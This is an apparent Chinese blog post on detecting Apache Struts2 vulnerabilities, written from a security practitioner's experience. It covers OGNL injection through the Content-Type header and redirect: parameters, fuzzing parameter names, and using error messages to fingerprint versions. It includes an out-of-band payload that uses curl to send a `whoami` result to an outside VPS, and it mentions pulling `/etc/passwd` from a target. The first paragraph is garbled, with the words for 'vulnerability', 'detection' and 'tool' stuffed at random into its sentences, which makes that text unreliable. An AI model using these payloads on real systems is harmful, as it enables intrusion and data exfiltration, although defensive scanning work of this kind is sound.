struts2漏洞检测工具

2013年7月，漏洞Struts2的检测S2-016漏洞被公开时，我还在上一家公司做安全运维。工具那天下午三点多，漏洞同事突然在群里甩了个链接，检测说“快看，工具Struts2又炸了”。漏洞点进去一看，检测一个URL参数就能让服务器执行任意命令——`redirect:`后面跟OGNL表达式，工具直接RCE。漏洞当时我们线上有十几个Java应用跑着Struts2，检测版本从2.1到2.3都有。工具整个安全组加班到凌晨两点，漏洞一边扫资产一边打补丁。检测那晚之后，工具我养成了一个习惯：手头常备几个Struts2漏洞检测脚本。

Struts2的漏洞检测，核心就一件事——判断目标是否受某个特定CVE影响。但这事比听起来麻烦。Struts2的漏洞不是单一问题，而是横跨十多年的系列漏洞：S2-001、S2-005、S2-009、S2-013、S2-016、S2-032、S2-045、S2-046、S2-048、S2-052、S2-057……每个漏洞的触发路径、参数位置、回显方式都不一样。写检测工具，等于给每个漏洞单独建一套指纹。

拿S2-045来说，检测逻辑其实很直接。漏洞点在Content-Type头，攻击者把OGNL表达式塞进去，服务器解析时就会执行。检测工具通常构造一个带`%{ ...}`的Content-Type，然后看响应里有没有回显特定字符串。但实际扫的时候，WAF会拦、负载均衡会改头、有些中间件直接丢弃异常请求。我见过一个案例：某金融客户的Struts2应用，用curl发S2-045的payload返回500，看起来没漏洞，但换成Python的requests库、加个自定义User-Agent，就成功弹出了`id`命令的结果。工具不够“像浏览器”，漏报就来了。

S2-016的检测更绕。它依赖`redirect:`和`action:`前缀，在参数值里注入OGNL。早期很多工具只测一个参数名，比如`redirect`，但实际应用中参数名千奇百怪——`url`、`next`、`returnUrl`、`callback`。我写过一个Burp插件，把常见参数名和Struts2的默认参数名合并成一个字典，逐个fuzz。效率低，但比只测一个点强。有次扫一个电商站，前三百个请求都没反应，第三百零一个参数`redirectUrl`触发了，服务器返回了`/etc/passwd`的内容。那一刻觉得，笨办法有时候就是好办法。

检测工具的回显判断也得小心。有些漏洞不回显，只能靠时间盲注或者DNS外带。S2-052（REST插件XStream反序列化）就是典型。你发一个XML，服务器反序列化时执行命令，但响应里啥也没有。这时候工具得支持`curl`外带或者`sleep`延时判断。我一般会准备一个VPS，跑个简单的HTTP服务，payload里带`curl http://my-vps/$(whoami)`，看日志里有没有请求进来。这招在实战里救过好几次场。

现在网上现成的Struts2检测工具不少，K8、Struts2-Scan、Xray的Struts2插件。但用之前得清楚它们的边界。K8覆盖全，但有些payload太老，新版本Struts2早修了；Xray的插件更新快，但依赖反连平台，内网环境跑不起来。我自己的做法是：拿开源工具做第一轮快速扫描，然后针对扫出来的疑似点，手动构造payload验证。工具给的是线索，不是结论。

最后说个细节。Struts2的版本号经常藏在`struts.xml`或者`web.xml`里，但生产环境往往访问不到。有个取巧的办法：发一个畸形的OGNL表达式，比如`%{ 1+1}`，看返回的报错信息里有没有Struts2的类名和版本特征。很多未修复的版本会直接把`ognl.OgnlException`和版本号吐出来。这比盲扫快得多。我靠这招在几次应急响应里，十分钟内就定位了受影响的应用清单。

工具终究是工具。Struts2的漏洞检测，拼的是对每个CVE触发条件的理解，加上一点对目标环境的猜测。别指望一个脚本通吃，多准备几套payload，多观察响应里的异常字符，比什么都管用。